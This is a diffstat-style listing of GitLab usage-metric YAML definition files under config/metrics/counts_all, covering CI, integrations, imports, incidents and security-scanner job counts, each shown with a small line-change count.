-rw-r--r--config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml1
-rw-r--r--config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml1
-rw-r--r--config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml1
-rw-r--r--config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml1
-rw-r--r--config/metrics/counts_all/20210216175510_ci_builds.yml1
-rw-r--r--config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml1
-rw-r--r--config/metrics/counts_all/20210216175514_ci_external_pipelines.yml1
-rw-r--r--config/metrics/counts_all/20210216175516_ci_pipeline_config_auto_devops.yml1
-rw-r--r--config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml1
-rw-r--r--config/metrics/counts_all/20210216175520_ci_runners.yml3
-rw-r--r--config/metrics/counts_all/20210216175521_ci_triggers.yml1
-rw-r--r--config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml1
-rw-r--r--config/metrics/counts_all/20210216175525_ci_builds.yml1
-rw-r--r--config/metrics/counts_all/20210216175527_ci_external_pipelines.yml1
-rw-r--r--config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml1
-rw-r--r--config/metrics/counts_all/20210216175531_ci_pipeline_config_auto_devops.yml1
-rw-r--r--config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml1
-rw-r--r--config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml1
-rw-r--r--config/metrics/counts_all/20210216175537_ci_pipelines.yml1
-rw-r--r--config/metrics/counts_all/20210216175539_ci_triggers.yml1
-rw-r--r--config/metrics/counts_all/20210216175612_dast_jobs.yml1
-rw-r--r--config/metrics/counts_all/20210216175614_user_dast_jobs.yml1
-rw-r--r--config/metrics/counts_all/20210216175621_web_hooks.yml1
-rw-r--r--config/metrics/counts_all/20210216175623_projects_asana_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175625_groups_asana_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175627_templates_asana_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175628_instances_asana_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175630_projects_inheriting_asana_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175632_groups_inheriting_asana_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175634_projects_assembla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175636_groups_assembla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175638_templates_assembla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175640_instances_assembla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175642_projects_inheriting_assembla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175644_groups_inheriting_assembla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175645_projects_bamboo_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175647_groups_bamboo_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175649_templates_bamboo_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175651_instances_bamboo_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175653_projects_inheriting_bamboo_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175655_groups_inheriting_bamboo_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175657_projects_bugzilla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175659_groups_bugzilla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175701_templates_bugzilla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175702_instances_bugzilla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175704_projects_inheriting_bugzilla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175706_groups_inheriting_bugzilla_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175708_projects_buildkite_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175710_groups_buildkite_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175712_templates_buildkite_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175714_instances_buildkite_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175716_projects_inheriting_buildkite_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175717_groups_inheriting_buildkite_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175719_projects_campfire_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175721_groups_campfire_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175723_templates_campfire_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175725_instances_campfire_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175727_projects_inheriting_campfire_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175729_groups_inheriting_campfire_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175731_projects_confluence_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175733_groups_confluence_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175734_templates_confluence_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175736_instances_confluence_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175738_projects_inheriting_confluence_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175740_groups_inheriting_confluence_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175742_projects_custom_issue_tracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175744_groups_custom_issue_tracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175745_templates_custom_issue_tracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175747_instances_custom_issue_tracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175749_projects_inheriting_custom_issue_tracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175751_groups_inheriting_custom_issue_tracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175753_projects_discord_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175755_groups_discord_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175756_templates_discord_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175758_instances_discord_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175800_projects_inheriting_discord_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175802_groups_inheriting_discord_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175804_projects_drone_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175806_groups_drone_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175807_templates_drone_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175809_instances_drone_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175811_projects_inheriting_drone_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175813_groups_inheriting_drone_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175815_projects_emails_on_push_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175817_groups_emails_on_push_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175818_templates_emails_on_push_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175820_instances_emails_on_push_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175822_projects_inheriting_emails_on_push_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175824_groups_inheriting_emails_on_push_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175826_projects_external_wiki_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175828_groups_external_wiki_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175829_templates_external_wiki_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175831_instances_external_wiki_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175833_projects_inheriting_external_wiki_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175835_groups_inheriting_external_wiki_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175837_projects_flowdock_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175839_groups_flowdock_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175840_templates_flowdock_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175842_instances_flowdock_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175844_projects_inheriting_flowdock_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175846_groups_inheriting_flowdock_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175859_projects_hangouts_chat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175901_groups_hangouts_chat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175902_templates_hangouts_chat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175904_instances_hangouts_chat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175906_projects_inheriting_hangouts_chat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175908_groups_inheriting_hangouts_chat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175910_projects_hipchat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175912_groups_hipchat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175913_templates_hipchat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175915_instances_hipchat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175917_projects_inheriting_hipchat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175919_groups_inheriting_hipchat_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175921_projects_irker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175923_groups_irker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175924_templates_irker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175926_instances_irker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175928_projects_inheriting_irker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175930_groups_inheriting_irker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175932_projects_jenkins_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175934_groups_jenkins_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175935_templates_jenkins_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175937_instances_jenkins_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175939_projects_inheriting_jenkins_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175941_groups_inheriting_jenkins_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175943_projects_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175945_groups_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175946_templates_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175948_instances_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175950_projects_inheriting_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175952_groups_inheriting_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175954_projects_mattermost_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175956_groups_mattermost_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175957_templates_mattermost_active.yml1
-rw-r--r--config/metrics/counts_all/20210216175959_instances_mattermost_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180001_projects_inheriting_mattermost_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180003_groups_inheriting_mattermost_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180005_projects_mattermost_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180006_groups_mattermost_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180008_templates_mattermost_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180010_instances_mattermost_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180012_projects_inheriting_mattermost_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180014_groups_inheriting_mattermost_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180016_projects_microsoft_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180018_groups_microsoft_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180019_templates_microsoft_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180021_instances_microsoft_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180023_projects_inheriting_microsoft_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180025_groups_inheriting_microsoft_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180027_projects_packagist_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180029_groups_packagist_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180030_templates_packagist_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180032_instances_packagist_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180034_projects_inheriting_packagist_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180036_groups_inheriting_packagist_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180038_projects_pipelines_email_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180040_groups_pipelines_email_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180041_templates_pipelines_email_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180043_instances_pipelines_email_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180045_projects_inheriting_pipelines_email_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180047_groups_inheriting_pipelines_email_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180049_projects_pivotaltracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180051_groups_pivotaltracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180052_templates_pivotaltracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180054_instances_pivotaltracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180056_projects_inheriting_pivotaltracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180058_groups_inheriting_pivotaltracker_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180100_projects_pushover_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180102_groups_pushover_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180104_templates_pushover_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180105_instances_pushover_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180107_projects_inheriting_pushover_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180109_groups_inheriting_pushover_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180111_projects_redmine_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180113_groups_redmine_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180115_templates_redmine_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180116_instances_redmine_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180118_projects_inheriting_redmine_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180120_groups_inheriting_redmine_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180122_projects_slack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180124_groups_slack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180126_templates_slack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180127_instances_slack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180129_projects_inheriting_slack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180131_groups_inheriting_slack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180133_projects_slack_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180135_groups_slack_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180137_templates_slack_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180138_instances_slack_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180140_projects_inheriting_slack_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180142_groups_inheriting_slack_slash_commands_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180144_projects_teamcity_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180146_groups_teamcity_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180148_templates_teamcity_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180149_instances_teamcity_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180151_projects_inheriting_teamcity_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180153_groups_inheriting_teamcity_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180155_projects_unify_circuit_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180157_groups_unify_circuit_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180159_templates_unify_circuit_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180201_instances_unify_circuit_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180203_projects_inheriting_unify_circuit_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180204_groups_inheriting_unify_circuit_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180206_projects_webex_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180208_groups_webex_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180210_templates_webex_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180212_instances_webex_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180214_projects_inheriting_webex_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180215_groups_inheriting_webex_teams_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180217_projects_youtrack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180219_groups_youtrack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180221_templates_youtrack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180223_instances_youtrack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180225_projects_inheriting_youtrack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180226_groups_inheriting_youtrack_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180228_projects_jira_server_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180230_projects_jira_cloud_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180232_projects_jira_dvcs_cloud_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180234_projects_jira_dvcs_server_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180239_personal_snippets.yml1
-rw-r--r--config/metrics/counts_all/20210216180241_project_snippets.yml1
-rw-r--r--config/metrics/counts_all/20210216180242_web_ide_commits.yml1
-rw-r--r--config/metrics/counts_all/20210216180244_web_ide_views.yml1
-rw-r--r--config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml1
-rw-r--r--config/metrics/counts_all/20210216180248_web_ide_previews.yml1
-rw-r--r--config/metrics/counts_all/20210216180250_web_ide_terminals.yml1
-rw-r--r--config/metrics/counts_all/20210216180252_web_ide_pipelines.yml1
-rw-r--r--config/metrics/counts_all/20210216180253_snippet_comment.yml1
-rw-r--r--config/metrics/counts_all/20210216180255_snippet_create.yml1
-rw-r--r--config/metrics/counts_all/20210216180257_snippet_update.yml1
-rw-r--r--config/metrics/counts_all/20210216180259_static_site_editor_views.yml1
-rw-r--r--config/metrics/counts_all/20210216180301_static_site_editor_commits.yml1
-rw-r--r--config/metrics/counts_all/20210216180303_static_site_editor_merge_requests.yml1
-rw-r--r--config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216180306_snippets.yml1
-rw-r--r--config/metrics/counts_all/20210216180316_snippets.yml1
-rw-r--r--config/metrics/counts_all/20210216180344_api_fuzzing_jobs.yml1
-rw-r--r--config/metrics/counts_all/20210216180346_api_fuzzing_dnd_jobs.yml1
-rw-r--r--config/metrics/counts_all/20210216180348_user_api_fuzzing_jobs.yml1
-rw-r--r--config/metrics/counts_all/20210216180350_user_api_fuzzing_dnd_jobs.yml1
-rw-r--r--config/metrics/counts_all/20210216180410_pool_repositories.yml1
-rw-r--r--config/metrics/counts_all/20210216180413_all_searches.yml1
-rw-r--r--config/metrics/counts_all/20210216180414_navbar_searches.yml1
-rw-r--r--config/metrics/counts_all/20210216180416_i_search_total.yml1
-rw-r--r--config/metrics/counts_all/20210216180434_issues_created_from_gitlab_error_tracking_ui.yml7
-rw-r--r--config/metrics/counts_all/20210216180436_issues_with_associated_zoom_link.yml4
-rw-r--r--config/metrics/counts_all/20210216180438_issues_using_zoom_quick_actions.yml4
-rw-r--r--config/metrics/counts_all/20210216180440_issues_with_embedded_grafana_charts_approx.yml4
-rw-r--r--config/metrics/counts_all/20210216180441_issues_created_from_alerts.yml4
-rw-r--r--config/metrics/counts_all/20210216180443_issues_created_gitlab_alerts.yml4
-rw-r--r--config/metrics/counts_all/20210216180445_issues_created_manually_from_alerts.yml4
-rw-r--r--config/metrics/counts_all/20210216180447_incident_issues.yml4
-rw-r--r--config/metrics/counts_all/20210216180449_alert_bot_incident_issues.yml4
-rw-r--r--config/metrics/counts_all/20210216180451_incident_labeled_issues.yml4
-rw-r--r--config/metrics/counts_all/20210216180453_projects_creating_incidents.yml7
-rw-r--r--config/metrics/counts_all/20210216180454_projects_with_error_tracking_enabled.yml4
-rw-r--r--config/metrics/counts_all/20210216180456_projects_with_alerts_service_enabled.yml4
-rw-r--r--config/metrics/counts_all/20210216180458_projects_with_alerts_created.yml7
-rw-r--r--config/metrics/counts_all/20210216180500_projects_with_enabled_alert_integrations.yml7
-rw-r--r--config/metrics/counts_all/20210216180502_status_page_incident_publishes.yml16
-rw-r--r--config/metrics/counts_all/20210216180504_status_page_incident_unpublishes.yml16
-rw-r--r--config/metrics/counts_all/20210216180506_status_page_projects.yml16
-rw-r--r--config/metrics/counts_all/20210216180507_status_page_issues.yml16
-rw-r--r--config/metrics/counts_all/20210216180517_projects_with_error_tracking_enabled.yml9
-rw-r--r--config/metrics/counts_all/20210216180518_projects_with_incidents.yml9
-rw-r--r--config/metrics/counts_all/20210216180520_projects_with_alert_incidents.yml9
-rw-r--r--config/metrics/counts_all/20210216180522_projects_incident_sla_enabled.yml16
-rw-r--r--config/metrics/counts_all/20210216180628_projects_imported_from_github.yml1
-rw-r--r--config/metrics/counts_all/20210216180630_projects_imported_from_github.yml1
-rw-r--r--config/metrics/counts_all/20210216180632_unique_users_all_imports.yml1
-rw-r--r--config/metrics/counts_all/20210216180634_gitlab.yml1
-rw-r--r--config/metrics/counts_all/20210216180636_gitlab_v1.yml1
-rw-r--r--config/metrics/counts_all/20210216180638_gitlab_project.yml1
-rw-r--r--config/metrics/counts_all/20210216180639_gitlab.yml1
-rw-r--r--config/metrics/counts_all/20210216180641_github.yml1
-rw-r--r--config/metrics/counts_all/20210216180643_bitbucket.yml1
-rw-r--r--config/metrics/counts_all/20210216180645_bitbucket_server.yml1
-rw-r--r--config/metrics/counts_all/20210216180647_gitea.yml1
-rw-r--r--config/metrics/counts_all/20210216180649_git.yml1
-rw-r--r--config/metrics/counts_all/20210216180650_manifest.yml1
-rw-r--r--config/metrics/counts_all/20210216180652_gitlab_migration.yml1
-rw-r--r--config/metrics/counts_all/20210216180654_jira.yml1
-rw-r--r--config/metrics/counts_all/20210216180656_fogbugz.yml1
-rw-r--r--config/metrics/counts_all/20210216180658_phabricator.yml1
-rw-r--r--config/metrics/counts_all/20210216180700_csv.yml1
-rw-r--r--config/metrics/counts_all/20210216180702_group_import.yml1
-rw-r--r--config/metrics/counts_all/20210216180703_gitlab_migration.yml1
-rw-r--r--config/metrics/counts_all/20210216180705_total.yml1
-rw-r--r--config/metrics/counts_all/20210216180707_gitlab_project.yml1
-rw-r--r--config/metrics/counts_all/20210216180709_gitlab.yml1
-rw-r--r--config/metrics/counts_all/20210216180711_github.yml1
-rw-r--r--config/metrics/counts_all/20210216180713_bitbucket.yml1
-rw-r--r--config/metrics/counts_all/20210216180715_bitbucket_server.yml1
-rw-r--r--config/metrics/counts_all/20210216180716_gitea.yml1
-rw-r--r--config/metrics/counts_all/20210216180718_git.yml1
-rw-r--r--config/metrics/counts_all/20210216180720_manifest.yml1
-rw-r--r--config/metrics/counts_all/20210216180722_jira.yml1
-rw-r--r--config/metrics/counts_all/20210216180724_fogbugz.yml1
-rw-r--r--config/metrics/counts_all/20210216180726_phabricator.yml1
-rw-r--r--config/metrics/counts_all/20210216180727_csv.yml1
-rw-r--r--config/metrics/counts_all/20210216180729_groups_imported.yml1
-rw-r--r--config/metrics/counts_all/20210216180734_wiki_pages_create.yml1
-rw-r--r--config/metrics/counts_all/20210216180736_wiki_pages_update.yml1
-rw-r--r--config/metrics/counts_all/20210216180738_wiki_pages_delete.yml1
-rw-r--r--config/metrics/counts_all/20210216180740_design_management_designs_create.yml1
-rw-r--r--config/metrics/counts_all/20210216180741_design_management_designs_update.yml1
-rw-r--r--config/metrics/counts_all/20210216180743_design_management_designs_delete.yml1
-rw-r--r--config/metrics/counts_all/20210216180750_groups.yml1
-rw-r--r--config/metrics/counts_all/20210216180752_keys.yml1
-rw-r--r--config/metrics/counts_all/20210216180754_events.yml1
-rw-r--r--config/metrics/counts_all/20210216180756_groups.yml1
-rw-r--r--config/metrics/counts_all/20210216180758_users_created.yml1
-rw-r--r--config/metrics/counts_all/20210216180927_grafana_integrated_projects.yml1
-rw-r--r--config/metrics/counts_all/20210216180929_projects_with_tracing_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216180931_projects_prometheus_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180933_groups_prometheus_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180934_templates_prometheus_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180936_instances_prometheus_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180938_projects_inheriting_prometheus_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180940_groups_inheriting_prometheus_active.yml1
-rw-r--r--config/metrics/counts_all/20210216180942_operations_dashboard_default_dashboard.yml1
-rw-r--r--config/metrics/counts_all/20210216180944_operations_dashboard_users_with_projects_added.yml1
-rw-r--r--config/metrics/counts_all/20210216180945_clusters.yml1
-rw-r--r--config/metrics/counts_all/20210216180947_clusters_applications_prometheus.yml1
-rw-r--r--config/metrics/counts_all/20210216180949_operations_dashboard_default_dashboard.yml1
-rw-r--r--config/metrics/counts_all/20210216180951_projects_with_tracing_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216180953_operations_dashboard_users_with_projects_added.yml1
-rw-r--r--config/metrics/counts_all/20210216181009_lfs_objects.yml1
-rw-r--r--config/metrics/counts_all/20210216181011_projects_with_packages.yml1
-rw-r--r--config/metrics/counts_all/20210216181012_packages.yml1
-rw-r--r--config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml1
-rw-r--r--config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml1
-rw-r--r--config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml1
-rw-r--r--config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml1
-rw-r--r--config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml1
-rw-r--r--config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml1
-rw-r--r--config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml1
-rw-r--r--config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml1
-rw-r--r--config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml1
-rw-r--r--config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml1
-rw-r--r--config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml1
-rw-r--r--config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml1
-rw-r--r--config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml1
-rw-r--r--config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml1
-rw-r--r--config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml1
-rw-r--r--config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml1
-rw-r--r--config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml1
-rw-r--r--config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml1
-rw-r--r--config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml1
-rw-r--r--config/metrics/counts_all/20210216181051_vendor.yml1
-rw-r--r--config/metrics/counts_all/20210216181055_projects_with_packages.yml1
-rw-r--r--config/metrics/counts_all/20210216181102_issues.yml1
-rw-r--r--config/metrics/counts_all/20210216181104_label_lists.yml1
-rw-r--r--config/metrics/counts_all/20210216181108_milestones.yml1
-rw-r--r--config/metrics/counts_all/20210216181109_uploads.yml1
-rw-r--r--config/metrics/counts_all/20210216181111_labels.yml1
-rw-r--r--config/metrics/counts_all/20210216181113_notes.yml1
-rw-r--r--config/metrics/counts_all/20210216181115_issues.yml1
-rw-r--r--config/metrics/counts_all/20210216181117_notes.yml1
-rw-r--r--config/metrics/counts_all/20210216181119_projects.yml1
-rw-r--r--config/metrics/counts_all/20210216181121_todos.yml1
-rw-r--r--config/metrics/counts_all/20210216181122_service_desk_enabled_projects.yml1
-rw-r--r--config/metrics/counts_all/20210216181124_service_desk_issues.yml1
-rw-r--r--config/metrics/counts_all/20210216181126_projects_jira_active.yml1
-rw-r--r--config/metrics/counts_all/20210216181128_projects_jira_dvcs_cloud_active.yml1
-rw-r--r--config/metrics/counts_all/20210216181130_projects_jira_dvcs_server_active.yml1
-rw-r--r--config/metrics/counts_all/20210216181134_epics.yml1
-rw-r--r--config/metrics/counts_all/20210216181135_label_lists.yml1
-rw-r--r--config/metrics/counts_all/20210216181249_feature_flags.yml1
-rw-r--r--config/metrics/counts_all/20210216181252_boards.yml1
